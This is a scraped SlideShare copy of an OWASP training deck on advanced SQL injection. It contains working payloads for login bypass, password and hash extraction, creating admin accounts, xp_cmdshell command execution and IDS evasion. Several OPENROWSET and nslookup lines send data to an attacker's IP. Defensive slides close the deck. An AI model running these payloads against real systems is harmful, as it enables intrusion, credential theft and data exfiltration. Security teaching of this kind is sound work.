Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of th...
2OWASPWhat is SQL?SQL stands for Structured Query LanguageAllows us to access a databaseANSI and ISO standard computer ...
3OWASPSQL is a Standard - but...There are many different versions of the SQLlanguageThey support the same major keywords...
4OWASPSQL Database TablesA relational database contains one or more tablesidentified each by a nameTables contain record...
5OWASPSQL QueriesWith SQL, we can query a database and have aresult set returnedUsing the previous table, a query like t...
6OWASPSQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, anddelete records:SELECT - extracts d...
7OWASPSQL Data Definition Language (DDL)The Data Definition Language (DDL) part of SQLpermits:Database tables to be crea...
8OWASPMetadata Almost all SQL databases are based on theRDBM (Relational Database Model) One important fact for SQL Inje...
9OWASPWhat is SQL Injection?The ability to inject SQL commandsinto the database enginethrough an existing application
10OWASPHow common is it?It is probably the most common Website vulnerabilitytoday!It is a flaw in "web application" deve...
11OWASPVulnerable Applications Almost all SQL databases and programming languages arepotentially vulnerable MS SQL Serve...
12OWASPHow does SQL Injection work?Common vulnerable login querySELECT * FROM usersWHERE login = victorAND password = 123(...
13OWASPInjecting through Stringsformusr =  or 1=1 – –formpwd = anythingFinal query would look like this:SELECT * FROM user...
14OWASPThe power of It closes the string parameterEverything after is considered part of the SQLcommandMisleading Inter...
15OWASPIf it were numeric?SELECT * FROM clientsWHERE account = 12345678AND pin = 1111PHP/MySQL login syntax$sql = "SELECT ...
16OWASPInjecting Numeric Fields$formacct = 1 or 1=1 #$formpin = 1111Final query would look like this:SELECT * FROM clients...
17OWASPSQL Injection Characters or " character String Indicators-- or # single-line comment/*…*/ multiple-line comment...
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of th...
19OWASPSQL Injection Testing Methodology1) Input Validation2) Info. Gathering6) OS Cmd Prompt7) Expand Influence4) Extract...
20OWASP1) Input Validation2) Info. Gathering3) 1=1 Attacks 5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expand In...
21OWASPDiscovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entrypoints:Fields in web formsScript ...
22OWASP2) Information Gathering2) Info. Gathering3) 1=1 Attacks 5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expa...
23OWASP2) Information Gathering We will try to find out the following:a) Output mechanismb) Understand the queryc) Determ...
24OWASPa) Exploring Output Mechanisms1. Using query result sets in the web application2. Error Messages Craft SQL queries...
25OWASPExtracting information through ErrorMessagesGrouping Error  group by columnnames having 1=1 - -Type Mismatch un...
26OWASPBlind InjectionWe can use different known outcomes and condition and 1=1Or we can use if statements; if conditi...
27OWASPb) Understanding the QueryThe query can be:SELECTUPDATEEXECINSERTOr something more complexContext helpsWhat...
28OWASPSELECT StatementMost injections will land in the middle of aSELECT statementIn a SELECT clause we almost always e...
29OWASPUPDATE statementIn a change your password section of an app wemay find the followingUPDATE usersSET password = ne...
30OWASPDetermining a SELECT Query Structure1. Try to replicate an error free navigation Could be as simple as  and 1 = 1...
31OWASPIs it a stored procedure?We use different injections to determine what wecan or cannot do,@variable?Param1=foo&P...
32OWASPTricky QueriesWhen we are in a part of a subquery or begin - endstatementWe will need to use parenthesis to get o...
33OWASPc) Determine Database Engine TypeMost times the error messages will let us knowwhat DB engine we are working with...
34OWASPSome differencesMS SQLT-SQLMySQL AccessOraclePL/SQLDB2PostgresPL/pgSQLConcatenateStrings + concat ("", " ")" "&" " ...
35OWASPMore differences…MS SQL MySQL Access Oracle DB2 PostgresUNION Y Y Y Y Y YSubselects YN 4.0Y 4.1N Y Y YBatch Queries...
36OWASPd) Finding out user privilege levelThere are several SQL99 built-in scalar functions that willwork in most SQL imp...
37OWASPDB AdministratorsDefault administrator accounts include:sa, system, sys, dba, admin, root and many othersIn MS S...
38OWASP3) 1=1 Attacks1) Input Validation5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expand Influence2) Info. Gat...
39OWASPDiscover DB structureDetermine table and column names group by columnnames having 1=1 --Discover column name type...
40OWASPEnumerating table columns in differentDBs MS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROMsysobjects...
41OWASPAll tables and columns in one query union select 0, sysobjects.name + :  +syscolumns.name + :  + systypes.name, 1,...
42OWASPDatabase EnumerationIn MS SQL Server, the databases can bequeried with master..sysdatabasesDifferent databases in...
43OWASPSystem TablesOracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLU...
44OWASP4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction6) OS Cmd Prompt7) Expand Influence2) Info....
45OWASPPassword grabbingGrabbing username and passwords from a UserDefined table; begin declare @var varchar(8000)set @v...
46OWASPCreate DB AccountsMS SQL exec sp_addlogin victor, Pass123 exec sp_addsrvrolemember victor, sysadminMySQL INSERT ...
47OWASPGrabbing MS SQL Server HashesAn easy query:SELECT name, password FROM sysxloginsBut, hashes are varbinaryTo dis...
48OWASPWhat do we do? The hashes are extracted using SELECT password FROM master..sysxlogins We then hex each hashbegin...
49OWASPExtracting SQL HashesIt is a long statement; begin declare @var varchar(8000), @xdate1 datetime, @binvaluevarbinar...
50OWASPExtract hashes through error messages and 1 in (select x from temp) -- and 1 in (select substring (x, 256, 256) f...
51OWASPBrute forcing Passwords Passwords can be brute forced by using the attacked server to dothe processing SQL Crack ...
52OWASPTransfer DB structure and dataOnce network connectivity has been testedSQL Server can be linked back to the attac...
53OWASPCreate Identical DB Structure; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,...
54OWASPTransfer DB; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from myda...
55OWASP5) OS Interaction5) OS Interaction6) OS Cmd Prompt7) Expand Influence1) Input Validation2) Info. Gathering3) 1=1 At...
56OWASPInteracting with the OS Two ways to interact with the OS:1. Reading and writing system files from disk Find passw...
57OWASPMySQL OS InteractionMySQLLOAD_FILE  union select 1,load_file(/etc/passwd),1,1,1;LOAD DATA INFILE create table ...
58OWASPMS SQL OS InteractionMS SQL Server; exec master..xp_cmdshell ipconfig > test.txt -- ; CREATE TABLE tmp (txt varc...
59OWASPArchitectureTo keep in mind always!Our injection most times will be executed on a differentserverThe DB server m...
60OWASPAssessing Network ConnectivityServer name and configuration and 1 in (select @@servername ) -- and 1 in (select ...
61OWASPGathering IP information through reverselookupsReverse DNS; exec master..xp_cmdshell nslookup a.com MyIP --Rever...
62OWASPNetwork ReconnaissanceUsing the xp_cmdshell all the following can beexecuted:Ipconfig /allTracert myIParp -anb...
63OWASPNetwork Reconnaissance Full Query ; declare @var varchar(256); set @var =  del test.txt && arp -a>> test.txt && ip...
64OWASP6) OS Cmd Prompt7) Expand Influence3) 1=1 Attacks4) Extracting Data1) Input Validation2) Info. Gathering5) OS Inter...
65OWASPJumping to the OSLinux based MySQL union select 1, (load_file(/etc/passwd)),1,1,1;MS SQL Windows Password Creati...
66OWASPUsing ActiveX Automation ScriptsSpeech example; declare @o int, @var intexec sp_oacreate speech.voicetext, @o oute...
67OWASPRetrieving VNC Password from Registry; declare @out binary(8)exec master..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@k...
68OWASP7) Expand Influence7) Expand Influence3) 1=1 Attacks4) Extracting Data1) Input Validation2) Info. Gathering5) OS In...
69OWASPHopping into other DB ServersFinding linked servers in MS SQLselect * from sysserversUsing the OPENROWSET comman...
70OWASPLinked Servers; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from m...
71OWASPExecuting through stored proceduresremotely If the remote server is configured to only allow stored procedureexecu...
72OWASPUploading files through reverse connection ; create table AttackerTable (data text) -- ; bulk insert AttackerTabl...
73OWASPUploading files through SQL InjectionIf the database server has no Internetconnectivity, files can still be upload...
74OWASPExample of SQL injection file uploadingThe whole set of queries is lengthyYou first need to inject a stored proce...
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of th...
76OWASPEvasion TechniquesInput validation circumvention and IDS Evasiontechniques are very similarSnort based detection ...
77OWASPIDS Signature EvasionEvading  OR 1=1 signature OR unusual = unusual OR something = some+thing OR text = Ntext O...
78OWASPInput validationSome people use PHP addslashes() function toescape characterssingle quote ()double quote (")bac...
79OWASPEvasion and CircumventionIDS and input validation can be circumvented byencodingSome ways of encoding parameters...
80OWASPMySQL Input Validation Circumventionusing Char()Inject without quotes (string = "%"): or username like char(37);...
81OWASPIDS Signature Evasion using white spacesUNION SELECT signature is different toUNION SELECTTab, carriage return, ...
82OWASPIDS Signature Evasion using commentsSome IDS are not tricked by white spacesUsing comments is the best alternativ...
83OWASPIDS Signature Evasion using stringconcatenationIn MySQL it is possible to separate instructionswith commentsUNI/*...
84OWASPIDS and Input Validation Evasion usingvariablesYet another evasion technique allows for the definition ofvariables...
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of th...
86OWASPSQL Injection DefenseIt is quite simple: input validationThe real challenge is making best practicesconsistent th...
87OWASPStrong DesignDefine an easy "secure" path to querying dataUse stored procedures for interacting with databaseCal...
88OWASPInput ValidationDefine data types for each fieldImplement stringent "allow only good" filters If the input is su...
89OWASPHarden the Server1. Run DB as a low-privilege user account2. Remove unused stored procedures and functionality orre...
90OWASPDetection and DissuasionYou may want to react to SQL injection attempts by:Logging the attemptsSending email ale...
91OWASPConclusionSQL Injection is a fascinating and dangerousvulnerabilityAll programming languages and all SQLdatabases...
92OWASPLinksA lot of SQL Injection related papershttp://www.nextgenss.com/papers.htmhttp://www.spidynamics.com/support/...
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of th...
Upcoming SlideShare
Loading in...5
×

Advanced sql injection 2

7,361

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
7,361
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
78
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • SQL stands for Structured Query Language. It is the and ANSI (American National Standards Institute) standard language for accessing and manipulating relational database systems. ANSI is a standards committee composed of database experts from industry, academia and software vendors. It has also been accepted as a standard by ISO (International Organization for Standardization). SQL is a standard open language without corporate ownership. The commercial acceptance of SQL was precipitated by the formation of SQL Standards committees by the ANSI and the ISO in 1986 and 1987. Two years later they published a specification known as SQL89. An improvement and expansion to the standard gave the world SQL92. We now have the third generation standard, SQL99 also known as SQL3. SQL is used to communicate with a database. The communicating parties are typically a "front end" which sends a SQL Statement across a connection to a "back end" that holds the data. SQL statements are used to perform tasks such as retrieve, create, update or delete data from a database. Some common relational database management systems that use SQL are: Oracle, MS SQL Server, MS Access, Ingres, DB2, Sybase, Informix, etc.
  • Although most database systems use SQL, most of them also have their own additional proprietary extensions that are usually only used on their system. Most DBMS are designed to meet the SQL92 standard partially and have not implemented the advanced features. However, the standard SQL commands such as "Select", "Insert", "Update", "Delete", "Create", and "Drop" can be used throughout all database with little changes. All of the core functions, such as adding, reading and modifying data, are the same.
  • A relational database system contains one or more objects called tables. The data or information for the database are stored in these tables. Tables are uniquely identified by their names and are comprised of columns and rows. Columns contain the column name, data type, and any other attributes for the column. Rows contain the records or data for the columns. Here is a sample table called "users". This is a user defined table that could be used for validating and managing application users. In this table, the first row called userID is specified as an integer. By being defined as an integer column the only type of data that can be stored in that column are numeric integers. UserID is also the Primary Key for the Table. A table usually has a column or combination of columns whose values uniquely identify each row in the table. This column (or columns) is called the Primary Key of the table and enforces the entity integrity of the table. There can be no duplicate values. The other four columns are varchar (variable character data). Any kind of strings can be stored in these columns. Character data consists of any combination of letters, symbols, and numeric characters. To note, the password field is not encrypted. This should be implemented at an application level. These passwords are not directly linked or related to the SQL database passwords or the Operating System passwords.
  • The SELECT statement is used to query the database and retrieve selected data that match the criteria that you specify. The column LastName that follows the SELECT keyword determines which column will be returned in the results. You can select as many column names that you'd like, or you can use a "*" to select all columns. The table name users that follows the keyword FROM specifies the table that will be queried to retrieve the desired results. The WHERE clause (optional) specifies which data values or rows will be returned or displayed. Based on the criteria described after the keyword WHERE the select statement will only bring the LastName value for all rows where UserID = 1. And also because UserID is the Primary Key (and therefore cannot have duplicate values), the only result for this query is "Smith".
  • SQL has many capabilities, but the most common needs are to: Read existing data - SELECT statement Change existing data - UPDATE statement Create new records holding data - INSERT INTO statement Delete data - DELETE statement
  • Data Definition Language (DDL) is used to define and manage all the objects in an SQL database. DDL statements are SQL statements that support the definition or declaration of database objects (for example, CREATE TABLE, DROP TABLE, and ALTER TABLE). SQL contains DDL commands that can be used either interactively, or within programming language source code, to define databases and their components. Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - changes a database table structure DROP TABLE - deletes a table and all rows in the database table CREATE INDEX - creates an index (search key) DROP INDEX - deletes an index For each object class, there are usually CREATE, ALTER, and DROP statements, such as CREATE TRIGGER, ALTER TRIGGER, and DROP TRIGGER.
  • A Relational Database Management System (RDBMS) is defined as a system whose users view data as a collection of tables related to each other through common data values. Data is stored in tables, and tables are composed of rows and columns. Tables of independent data can be linked (or related) to one another if they each have columns of data (called keys) that represent the same data value. E.F. Codd’s Twelve Principles of Relational Databases continue to be used to validate the “relational” characteristics of a database product. A database product that does not meet all of these rules is not fully relational. One important aspect of all relational databases is that Metadata is stored within the database. Codd's rule #4 states: 4. Metadata (data about the database) must be stored in the database just as regular data is. Other important Codd's rules that define the way SQL Injection is done: 5. A single language must be able to define data, views, integrity constraints, authorization, transactions, and data manipulation. 10. Integrity constraints must be available and stored in the RDB metadata, not in an application program.
  • SQL injection is a type of security exploit in which the attacker adds SQL statements through a web application's input fields or hidden parameters to gain access to resources or make changes to data. It's a serious vulnerability, which can lead to a high level of compromise - usually the ability to run any database query. It is an attack on web-based applications that connect to database back-ends in which the attacker executes unauthorized (and unexpected) SQL commands by taking advantage of insecure code and bad input validation. It is very often done on systems connected to the Internet because it allows to completely bypass the firewall. SQL injection attacks can be used to steal information from a database from which the data would normally not be available and to gain access to host computers through the database engine.
  • Web-based applications constitute the worst threat of SQL injection. In our Pen Tests, over 60% of our clients continue to be vulnerable to SQL Injection. The main problem with SQL Injection is that the vulnerability is originated when the web application is coded. Most programmers are still not aware of the problem. Tutorials and demo "templates" on the Internet and even some that have been shipped with commercial databases promote building queries by concatenating strings, which is the main source for SQL Injection vulnerabilities. Additionally, a lot of the proposed solutions on the web continue to be flawed.
  • Almost all SQL databases and programming languages are potentially vulnerable. It is an input validation problem that has to be considered and programmed by the web application developer.
  • A common way of validating users in an application is to by checking if the user and password combination exists in the users table. The following query will bring back one record if there is one row where the login = 'victor' and the password = '123': SELECT * FROM users WHERE login = ' victor ' AND password = ' 123 ' To code this, a common practice among developers is to concatenate a string with the SQL command and then execute it to see if it returns something different to null. An Active Server Page code where the SQL statement gets concatenated might look like: var sql = " SELECT * FROM users WHERE login = ' " + formusr + " ' AND password = ' " + formpwd + " ' ";
  • SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input. If an attacker inserts: ' or 1=1 -- into the formusr field he will change the normal execution of the query. By inserting a single quote the username string is closed and the final concatenated string would end up interpreting or 1=1 as part of the command. The -- (double dash) is used to comment everything after the or 1=1 and avoid a wrong syntax error. This could also have been achieved by inserting the following command: ' or '1'='1 By injecting any of the two commands discussed, an attacker would get logged in as the first user in the table. This happens because the WHERE clause ends up validating that the username = ' ' (nothing) OR 1=1 ( OR '1'='1' in the second statement) The first conditional is False but the second one is True. By using OR the whole condition is True and therefore all rows from table users are returned. All rows is not null therefore the log in condition is met.
  • The single quote character closes the string field and therefore allows all of the following text to be interpreted as SQL commands. To prevent this, a lot of the SQL Injection quick solutions found on the Internet suggest escaping the single quote with a double quote (that is the standard way of escaping single quotes in SQL99). This is only a half remedy though because there are always numeric fields or dates within forms or parameters that will remain vulnerable.
  • With a similar syntax a numeric login would not use single quotes because in SQL you only need quotes for strings. This PHP / MySQL code example concatenates a query that uses no single quotes as part of the syntaxis.
  • Injecting into a numeric field is very similar. The main difference with string injection is that in numeric injection the first number is taken as the complete parameter (no need to close it with a single quote) and all the text after that number will be considered as part of the command. In this case the # (number sign) is used instead of the -- (double dash) because we are injecting into a MySQL database.
  • Symbol Usage in SQL99 complaint DBs + Addition operator; also concatenation operator; when used in an URL it becomes a white space) || Concatenation operator in Oracle and Postgres - Subtraction operator; also a range indicator in CHECK constraints = Equality operator <> != Inequality operators >< Greater-than and Less-than operators ( ) Expression or hierarchy delimiter % Wildcard attribute indicator , List item separator @, @@ Local and Global variable indicators . Identifier qualifier separator ‘’ “” Character string indicators “” Quoted identifier indicators -- Single-line comment delimiter # Single-line comment delimiter in MySQL or date delimiter in MS Access /*…*/ Begin and End multiline comment delimiter
  • Depending on your objective the general methodology may vary. For Pen Testing purposes we have defined some comprehensive steps for testing applications.
  • We have based our methodology on the OWASP Testing Framework. The Open Web Application Security Project (OWASP) is a volunteer project dedicated to sharing knowledge and developing open source software that promotes a better understanding of web application security. The OWASP Testing Project has been in development for over two years. It helps understand the what, why, when, where, and how of testing web applications, and not just provide a simple checklist or prescription of issues that should be addressed. OWASP has built a testing framework from which we have expanded to build our own testing program. In our Detailed Structured Analysis each step is analyzed, and all the tangents and sub-tangents are followed (attack-trees). Above we have included our SQL Injection analysis attack tree.
  • The first step is to find a vulnerable entry in the web application.
  • To find vulnerabilities all parameters in a web form must be checked. SQL Injection can happen in any of the following: Fields in Web Forms Script Parameters in Query Strings sent as part of the URL Values stored in cookies that are sent back to the web application Values sent in hidden fields To find all the different entry points in a web application a web proxy or a fuzzer must be used. With a fuzzer we insert different types of input into each entry point. "Fuzzing" is an automated software testing technique that generates and submits random or sequential data to various entry points of an application in an attempt to uncover security vulnerabilities. We use this technique to send specific string combinations with SQL specific reserved characters and words. We are looking for an application error or changes in the applications behavior or responses due to the insertion of one or several strings. For example, the delay query will make the application respond after 10 seconds if it is vulnerable and executing our command (in this case it would also have to be a MS SQL Server).
  • Once a vulnerable entry has been detected. The next step is to gather as much information as possible about the underlying application.
  • The information gathering stage is fundamental. The scope and depth of the subsequent attack as well as, the query syntax to be used will both be determined by the results of this stage. Output mechanisms are essential for extracting information about and within the database. Depending on the type of mechanism found, it will strongly change the attack techniques. Understanding the underlying query will allow to craft correct statements. By knowing this, different types of error messages and attacks are possible. Different databases allow and require different SQL syntax. Defining the database engine type is fundamental for the following stages. Most advanced SQL injection requires high user privilege levels. Knowing what we can or cannot do will save us time. Finally, interacting with the underlying operating system either through command execution or through read/write access to the file system will allow a whole different group of attacks.
  • An important aspect of SQL Injection is getting information back. This can be tricky because Web Applications do not normally allow you to see the results of your queries. For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the web server response. This sometimes happens when the vulnerable input is part of query that sends a result set back to the web application, such as lists. In this case most information can be crafted through union statements to be displayed with the result set. In other cases the modified query result set is used by the application and is not displayed through the web application. If the Web Server is configured to display error messages, a lot of information can be extracted through them. Finally, if the modified query interrupts the normal behavior of the application (which can result in a 403 or 404 error message) but no error message is displayed, this is normally an indication of blind SQL injection. There are methods to extract information from databases through time delays or error signatures. Almost the same things can be done in both scenarios but Blind Injection is much slower, much noisier and more difficult because most of the information hast to be extracted slowly (through a lot of queries) or guessed. Other mechanisms that may be used to send information are email, creating remote webpages using smb, or sending complete files with ftp or tftp.
  • Grouping error Within a SELECT statement the HAVING command allows to further define a query based on the “grouped” fields. The error message will tell us which columns have not been grouped. Type mismatch or overflow errors By trying to insert strings into numeric fields or a bigint into an int the error message will show us the data that could not get converted.
  • By using a condition as shown in the first example and if we know the expected outcome for a correct and for an incorrect condition, we can prove if the condition is true or not. This works with all SQL databases, what varies is the type of condition we can insert. Using if statements with some kind of delay is different for different databases. Some like MS SQL Server will require the IF condition to be a separate command (shown in the WAITFOR DELAY query above). In others, like in MySQL the same effect can be achieved with the BENCHMARK function, which can be used as an expression within a SELECT statement. Additionally, we can run the same types of queries as in normal injection but with no debugging information. This gets complicated fast. With the Boolean responses we can extract text information by converting it into ASCII and then converting the ASCII to binary and THEN getting one bit at a time. This can be very time consuming and above all notorious because of its noisiness. It has been automated in tools like SQueaL that allow complete database structures and their contents to be transferred bit by bit.
  • It is important to know in what part of the modified query we are. The parameter we are modifying can land in wide variety of places. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE or CREATE statement. It can be part of a subquery, a stored procedure parameter or something more complex. We start by determining what the form or page is trying to do with our input. What is the name of the field? How would we have written that SQL query?
  • Most injection points end up in the WHERE clause of a SELECT statement as shown above. There are several parts of the statement that can be bypassed or included depending on how we structure our insertion.
  • UPDATE statements are also found in places like the "change my password" section. It can be trickier to inject into an UPDATE statement. You potentially do more damage. In our example above you can end up inserting into the SET part of the query ('new password'). And if you do and decide to comment the rest of the query, all users in the table users would get their password changed.
  • To better understand a SELECT query a good way is to try to replicate an error free navigation. By sending statements like the ones described above you can be certain of the application responses to both TRUE and FALSE conditions. We try generating specific types of errors that give you more information about the table name and parameters in the query. Sometimes we may have to add parenthesis to escape a subquery.
  • We can also inject into stored procedures or add batch commands to the execution depending on how the parameters are passed to the store procedure and how it is executed. If we know there is a vulnerability we can add new variables and parameters to try to understand the query. We will get different types of errors depending on what we add. The PRINT command is also useful because it is recognized by the database engine but should have no effect. Passing a @@variable to the print command can help distinguish between correct or incorrect responses. The main purpose is to try to identify if commands are being executed or not and exactly in what part of what query we landed on.
  • There are some tricky queries where you end up in the middle of a subquery or a BEGIN-END statement. We will try to close parenthesis and add END commands. This may help to escape the query. In other occasions the same input will be used in several queries. Slightly changing the input gives you different error messages that come from different queries. This gets particularly confusing when trying UNION statements. You will normally be able to work generating errors in the first query. The tough part is realizing which errors come from which queries. Sometimes we cannot change or inject anything into the query without generating a cascade of errors that are inescapable. There are some queries that because of the way they are built or the database they are using, are simply impossible to escape. In these cases it is easier to go and find another injection point.
  • Determining the database engine type is fundamental to continue with the injection process. Most times this will be easy if we have error messages coming back. ODBC will normally display the database type as part of the driver information when reporting an error. In those cases where the error message is not an ODBC message that can also be useful. First, you know you are most probably not on a Windows box. By knowing what operating system and web server we are connecting to it is easier sometimes to deduce the possible database. Using specific characters, commands, stored procedures and syntax we can know with much more certainty what SQL database we have injected into.
  • Above are some differences that can be used to determine what db we are in if we have no other easier way. By trying out conditions using the 'and condition and '1'='1 statement we can determine what type of database we have connected to.
  • The differences from one database to the other will also determine what we can or cannot do. To notice, MySQL is the only one that does not support subqueries in its current release. Nevertheless, beta version 4.1 has implemented subqueries and will soon be released. The UNION statement was implemented in MySQL version 4.0. Batch queries are not very common and stored procedures are only available in MS SQL and Oracle. The more complete, flexible and OS integrated a database is, the more potential avenues of attack.
  • The next piece of information we need to know are what privileges are we running with. We will have the privileges of the user with which the application server connects to the database. We want to know what that user's privileges are. SQL99 has built-in scalar functions supported by most SQL implementations that allow us to query within a SELECT statement for the current user, the session user and the system user. We can use these functions to return the user name within an error message. If we are using blind injection we can also use an if and a time delay along with the name of a privileged user (dba or root) to determine if we are administrators or root of the database.
  • Default database administrator accounts vary from one database to another. It is common to find SQL injection in connections that are running default administrator privileges. A default administrator will have privileges to do everything within the database and that in some cases extends over to the operating system easily.
  • Once we know basic information about the database, the query structure and our privileges we will start the attack.
  • The next thing we will want to know is the database structure. For that we will use the "HAVING 1=1" statement to enumerate all columns in the table. After that, by using a UNION statement and trying to sum() a column name we can quickly identify numeric from alphanumeric columns. To enumerate tables in a database we can directly query the metadata. Each database has its own metadata structure. The one above is a MS SQL specific query.
  • In different databases the queries to enumerate the columns of a table can also be done directly by querying the metadata. In each database the syntax is slightly different.
  • This query enumerates all tables and columns in the database. It can be inserted into a grid result. This also uses common metadata tables to determine the table, each field in the table, and the type of each field. This result set could also be concatenated through a temp table into a single string and with Substring() could be used to get the results through error messages, 256 characters at a time.
  • Some servers have several databases. By interrogating metadata system tables information about the databases can also be extracted.
  • This is a list of some of the useful metadata system tables in different databases.
  • Extracting data is easy once the database has been enumerated and the query is understood.
  • With this query all the logins and passwords from our users tables are extracted into a variable called @var. This variable @var is inserted into a new table called temp in a column called var. The var column of the temp table is then sent back through an error message. The temp table is deleted from the database. We could also insert a login and password of our own into the users table with the following command: '; insert into users select 4,'Victor','Chapela','victor','Pass123' --
  • An additional step would be to create our own user account for the database. This might allow us to connect directly to the database and is necessary for certain types of commands. With the appropriate privileges we can create our own account in the database. Here is a list of some commands to create user account in different databases engines.
  • Some databases also store the hashes for the database user passwords within a table. In MS SQL Server the name and password for users are stored in a table called sysxlogins. To extract them we have to convert the hashes that are kept in binary form into a hexadecimal format that can be displayed as part of the error message. We then concatenate them into one single long string. One important thing to note is that even though the name column in sysxlogins is public, the password column requires dbo access level. If access to the password fields is not possible, the user names can be used as part of a brute forcing attempt described later.
  • To do this we select one by one the entries within sysxlogins that have a password. We then hex each hash and concatenate it to the variable we are building. We repeat this for each valid password. We end up with a table that contains in one single line, all the user name/password pairs (up to 8000 characters).
  • This is the complete statement we defined to translate the passwords to hex, concatenate them and store them as part of a varchar variable. This query requires some changes for long user tables.
  • We then use substring to extract one 256 character piece at a time.
  • The hashes could be broken offline. But if we wanted to use the victim Server processing power to brute force the password hashes we could use the above query to start an dictionary attack on the stored hashes. The dictionary could be inserted by hand, with a perl script or by sending a wordlist (we will later see some options for file transfers).
  • If we have network connectivity a reverse connection can be established and the whole database can be transferred to our local SQL Server.
  • By transferring the database's metadata you can recreate the database structure in your local system.
  • Once the structure has been recreated, the data may be easily transferred a table at a time. Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.
  • Depending on the database type and our privileges with in it, we may be able to interact directly with the underlying operating system.
  • There are two main ways to interact with the operating system. Depending on the database engine and the configuration we may be able to read and write files or execute commands. In both cases we will be restricted by the privileges and permissions of the user with which the database engine is run. If we can read and write files we will be able to upload into the database files containing password and configuration information. In a similar way we would also be able to change some of the passwords or configuration files by appending or overwriting system files. If we have OS command execution we will be able to do anything.
  • The LOAD_FILE function returns a string containing the contents of a file, specified by it's path. LOAD_FILE also works on binary files, and SUBSTRING allows you to skip nulls and select x characters at a time, so the attacker can use this technique to read arbitrary text or binary files. LOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem. The companion statement to LOAD DATA INFILE is SELECT INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. MySQL does not support batch queries and therefore it is difficult to execute through SQL injection. Nevertheless, this statement represents the most obvious way for an attacker to gain control of a MySQL Server. Normally by creating nonexistent configuration files, possibly in users home directories. We can also create binary files with SELECT INTO DUMPFILE. It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones.
  • The XP_CMDSHELL extended procedure allows us to execute any OS command in a non interactive way. To be able to read the results of the command execution we have to send the output into a file and then insert that file into the database using bulk insert. Once in the database, we can concatenate the data into one long string so we can read it 256 characters at a time through error messages. We would then delete the temporary file and table at the end.
  • It is important to keep in mind that the web server in most cases is not the database server. So we might be executing commands in a server that has no direct Internet connectivity.
  • To expand our influence into the operating system we want to know if we have some kind of network connectivity. To do so there are several different techniques we can use. We can interrogate the database for the server name and we can use xp_cmdshell to run OS level networking commands. We may also try reverse connections that will give us information about the remote IPs or even allow us to upload files.
  • When using a reverse DNS lookup we will have to use our own IP and ask for any domain name. By using a sniffer or by checking our firewall log we will be able to see the incoming DNS requests. DNS lookups will normally get through firewalls and proxies even if the machine has no Internet access configured by using the DNS hierarchy. Another way of doing this is with ICMP packets, for example using PINGs. This is more likely to be blocked by the firewall though. We may try to use OPENROWSET (this does not require administrative privileges) to connect back to our own IP. We can choose to connect to port 80 in an attempt to circumvent firewall or proxy rules.
  • By executing these commands we can retrieve a very detailed network configuration.
  • To execute network reconnaissance in a simple steps the above statements could be executed.
  • To be able to execute OS commands through SQL Injection is not always possible.
  • In most databases, the path into the operating system will not be direct. We will have to start searching for passwords and in some cases replacing configuration files to be able to gain access. And access will be obtained indirectly. In MS SQL Server in particular we will be able to use the exec xp_cmdshell procedure to execute commands. One of the first thing we may want to do as an attacker is to add our own user and include it as an administrator. There are a lot of different extended procedures in MS SQL Server that can be abused by an attacker. Another one is xp_servicecontrol that allows us to start a service.
  • Yet another way to execute commands or applications from SQL Server is through ActiveX automation. Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. This example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak.
